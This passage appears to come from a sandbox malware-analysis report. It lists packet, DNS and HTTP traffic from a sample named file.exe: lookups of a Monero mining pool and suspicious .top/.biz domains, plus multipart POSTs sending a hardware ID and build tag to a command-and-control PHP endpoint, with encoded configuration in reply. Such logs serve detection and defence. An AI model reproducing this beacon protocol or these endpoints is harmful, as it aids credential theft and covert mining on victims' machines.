Dec 2, 2024 11:21:20.320429087 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320440054 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320535898 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320638895 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.320652962 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320691109 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.320807934 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.320823908 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320831060 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320841074 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320947886 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.320998907 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.321054935 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.321059942 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.321146011 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.321171045 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.321177959 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.321227074 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.321273088 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.321402073 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.321408033 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.321408987 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.321460962 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.321574926 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.637331963 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.637506962 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.637511969 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.637537956 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.637568951 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.637682915 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.637711048 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.637765884 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.637872934 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.637924910 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.637964010 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.637986898 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638104916 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.638104916 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.638143063 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638196945 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638219118 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638248920 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638298988 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638319969 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638355970 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.638406038 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.638431072 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638497114 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.638577938 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.638628960 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638653040 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638698101 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638750076 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638772964 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638803959 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.638853073 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638859987 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.638900995 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.638928890 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639003038 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639106989 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639193058 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639256954 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639308929 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639339924 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639370918 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639391899 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639394045 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639445066 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639493942 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639561892 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639580011 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639614105 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639683008 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639722109 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639782906 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639803886 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639828920 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.639873981 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639967918 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.639981031 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640039921 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640062094 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640090942 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640124083 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.640187025 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.640264988 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.640355110 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640397072 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640429020 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640484095 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640505075 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640516043 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.640535116 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640564919 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640575886 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.640584946 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640706062 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640753031 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640762091 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.640774012 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.640866041 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.640866041 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.641050100 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641103029 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641125917 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641169071 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641200066 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641213894 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.641213894 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.641272068 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641314983 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.641314983 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.641318083 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641480923 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641503096 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.641516924 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.641644955 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.955264091 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.955490112 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.955508947 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.955527067 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.955564976 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.955682993 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.955683947 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.955709934 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.955727100 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.955955029 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.955970049 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956006050 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956022978 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956165075 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.956177950 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956228018 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956278086 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956341028 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956387997 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.956387997 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.956415892 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956521034 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.956558943 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956578016 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956669092 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.956705093 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956717968 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956752062 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.956845045 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956923008 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.956935883 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957046032 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.957060099 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957104921 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.957211971 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957221985 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.957223892 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957242966 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957289934 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957391024 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.957396030 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957475901 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957488060 CET	49760	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:20.957503080 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957515001 CET	80	49760	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:20.957532883 CET	80	49760	31.41.244.11	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2024 11:19:55.599999905 CET	192.168.11.20	1.1.1.1	0x1c7e	Standard query (0)	c.pki.goog	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:20:11.982588053 CET	192.168.11.20	1.1.1.1	0x2fa4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:20:11.982702971 CET	192.168.11.20	1.1.1.1	0x3055	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 2, 2024 11:20:15.783623934 CET	192.168.11.20	1.1.1.1	0x6e19	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:20:15.783729076 CET	192.168.11.20	1.1.1.1	0xc03	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 2, 2024 11:20:16.792150021 CET	192.168.11.20	1.1.1.1	0xf7ff	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:20:16.792257071 CET	192.168.11.20	1.1.1.1	0xd207	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 2, 2024 11:21:14.756412983 CET	192.168.11.20	1.1.1.1	0x80df	Standard query (0)	xmr-eu2.nanopool.org	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:41.109798908 CET	192.168.11.20	1.1.1.1	0x2bcc	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:41.109798908 CET	192.168.11.20	1.1.1.1	0x7bfa	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 2, 2024 11:21:43.403721094 CET	192.168.11.20	1.1.1.1	0xa685	Standard query (0)	home.fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:43.403721094 CET	192.168.11.20	1.1.1.1	0xbc1c	Standard query (0)	home.fvtekx5pt.top	28	IN (0x0001)	false
Dec 2, 2024 11:21:46.842251062 CET	192.168.11.20	1.1.1.1	0x4b68	Standard query (0)	home.fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:46.842308998 CET	192.168.11.20	1.1.1.1	0x43a6	Standard query (0)	home.fvtekx5pt.top	28	IN (0x0001)	false
Dec 2, 2024 11:21:48.258130074 CET	192.168.11.20	1.1.1.1	0xffd	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:59.235985041 CET	192.168.11.20	1.1.1.1	0xbdcc	Standard query (0)	fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:59.235985041 CET	192.168.11.20	1.1.1.1	0xa36d	Standard query (0)	fvtekx5pt.top	28	IN (0x0001)	false
Dec 2, 2024 11:22:01.320504904 CET	192.168.11.20	1.1.1.1	0x92df	Standard query (0)	fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:01.320504904 CET	192.168.11.20	1.1.1.1	0xfb68	Standard query (0)	fvtekx5pt.top	28	IN (0x0001)	false
Dec 2, 2024 11:22:04.458518982 CET	192.168.11.20	1.1.1.1	0xd0a6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:04.458518982 CET	192.168.11.20	1.1.1.1	0x65b5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 2, 2024 11:22:07.266022921 CET	192.168.11.20	1.1.1.1	0x18aa	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:07.266041040 CET	192.168.11.20	1.1.1.1	0x2b50	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 2, 2024 11:22:08.792459965 CET	192.168.11.20	1.1.1.1	0x44e1	Standard query (0)	fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:08.792459965 CET	192.168.11.20	1.1.1.1	0x4005	Standard query (0)	fvtekx5pt.top	28	IN (0x0001)	false
Dec 2, 2024 11:22:10.886284113 CET	192.168.11.20	1.1.1.1	0x79f6	Standard query (0)	home.fvtekx5pt.top	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:10.886284113 CET	192.168.11.20	1.1.1.1	0xe232	Standard query (0)	home.fvtekx5pt.top	28	IN (0x0001)	false
Dec 2, 2024 11:22:12.184077978 CET	192.168.11.20	1.1.1.1	0x39f1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:12.184196949 CET	192.168.11.20	1.1.1.1	0x4a16	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2024 11:19:55.112459898 CET	1.1.1.1	192.168.11.20	0xdba8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:19:55.112459898 CET	1.1.1.1	192.168.11.20	0xdba8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:19:55.749733925 CET	1.1.1.1	192.168.11.20	0x1c7e	No error (0)	c.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 11:19:55.749733925 CET	1.1.1.1	192.168.11.20	0x1c7e	No error (0)	pki-goog.l.google.com		192.178.49.163	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:20:12.132203102 CET	1.1.1.1	192.168.11.20	0x3055	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 2, 2024 11:20:12.132219076 CET	1.1.1.1	192.168.11.20	0x2fa4	No error (0)	www.google.com		142.250.69.4	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:20:15.933932066 CET	1.1.1.1	192.168.11.20	0x6e19	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 11:20:15.933932066 CET	1.1.1.1	192.168.11.20	0x6e19	No error (0)	plus.l.google.com		192.178.49.206	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:20:15.933974981 CET	1.1.1.1	192.168.11.20	0xc03	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 11:20:16.941880941 CET	1.1.1.1	192.168.11.20	0xf7ff	No error (0)	play.google.com		192.178.49.174	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:14.908051968 CET	1.1.1.1	192.168.11.20	0x80df	No error (0)	xmr-eu2.nanopool.org		51.195.138.197	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:14.908051968 CET	1.1.1.1	192.168.11.20	0x80df	No error (0)	xmr-eu2.nanopool.org		163.172.171.111	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:14.908051968 CET	1.1.1.1	192.168.11.20	0x80df	No error (0)	xmr-eu2.nanopool.org		51.15.89.13	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:14.908051968 CET	1.1.1.1	192.168.11.20	0x80df	No error (0)	xmr-eu2.nanopool.org		51.68.137.186	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:14.908051968 CET	1.1.1.1	192.168.11.20	0x80df	No error (0)	xmr-eu2.nanopool.org		51.15.61.114	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:14.908051968 CET	1.1.1.1	192.168.11.20	0x80df	No error (0)	xmr-eu2.nanopool.org		51.210.150.92	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:14.908051968 CET	1.1.1.1	192.168.11.20	0x80df	No error (0)	xmr-eu2.nanopool.org		51.195.43.17	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:41.259910107 CET	1.1.1.1	192.168.11.20	0x2bcc	No error (0)	httpbin.org		18.213.123.165	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:41.259910107 CET	1.1.1.1	192.168.11.20	0x2bcc	No error (0)	httpbin.org		18.208.8.205	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:41.259910107 CET	1.1.1.1	192.168.11.20	0x2bcc	No error (0)	httpbin.org		34.224.200.202	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:41.259910107 CET	1.1.1.1	192.168.11.20	0x2bcc	No error (0)	httpbin.org		3.223.200.11	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:43.972835064 CET	1.1.1.1	192.168.11.20	0xa685	No error (0)	home.fvtekx5pt.top		34.159.64.221	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:47.185022116 CET	1.1.1.1	192.168.11.20	0x4b68	No error (0)	home.fvtekx5pt.top		34.159.64.221	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:48.449574947 CET	1.1.1.1	192.168.11.20	0xffd	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:48.449574947 CET	1.1.1.1	192.168.11.20	0xffd	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:21:59.439757109 CET	1.1.1.1	192.168.11.20	0xbdcc	No error (0)	fvtekx5pt.top		34.159.64.221	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:01.523936987 CET	1.1.1.1	192.168.11.20	0x92df	No error (0)	fvtekx5pt.top		34.159.64.221	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:04.608006954 CET	1.1.1.1	192.168.11.20	0xd0a6	No error (0)	www.google.com		142.250.69.4	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:04.608208895 CET	1.1.1.1	192.168.11.20	0x65b5	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 2, 2024 11:22:07.415746927 CET	1.1.1.1	192.168.11.20	0x18aa	No error (0)	www.google.com		192.178.49.164	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:07.415796041 CET	1.1.1.1	192.168.11.20	0x2b50	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 2, 2024 11:22:08.942050934 CET	1.1.1.1	192.168.11.20	0x44e1	No error (0)	fvtekx5pt.top		34.159.64.221	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:11.036566019 CET	1.1.1.1	192.168.11.20	0x79f6	No error (0)	home.fvtekx5pt.top		34.159.64.221	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:12.333739042 CET	1.1.1.1	192.168.11.20	0x39f1	No error (0)	www.google.com		142.250.69.4	A (IP address)	IN (0x0001)	false
Dec 2, 2024 11:22:12.334569931 CET	1.1.1.1	192.168.11.20	0x4a16	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49718	185.215.113.206	80	9140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:20:03.826297045 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:20:04.147794008 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:04.150130987 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEHIECFCAAFIEBGIDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 36 30 41 41 37 35 35 43 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="hwid"6D60AA755CB61709341086------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="build"drum------AKKEHIECFCAAFIEBGIDA--
Dec 2, 2024 11:20:04.490335941 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 47 55 78 5a 6d 59 31 59 54 63 7a 4f 54 4e 68 5a 57 4e 6a 4e 57 59 32 4e 57 59 78 4e 44 52 6c 59 6d 49 33 4f 47 46 6a 5a 47 59 34 5a 47 4a 6b 4e 6a 41 31 59 54 46 6c 4f 54 41 7a 4e 47 46 68 59 32 45 32 4e 47 59 7a 4d 32 5a 6a 4d 44 59 32 4e 47 4a 68 4f 57 4a 6c 4e 44 42 68 4d 32 4d 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OGUxZmY1YTczOTNhZWNjNWY2NWYxNDRlYmI3OGFjZGY4ZGJkNjA1YTFlOTAzNGFhY2E2NGYzM2ZjMDY2NGJhOWJlNDBhM2M4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 2, 2024 11:20:04.491471052 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 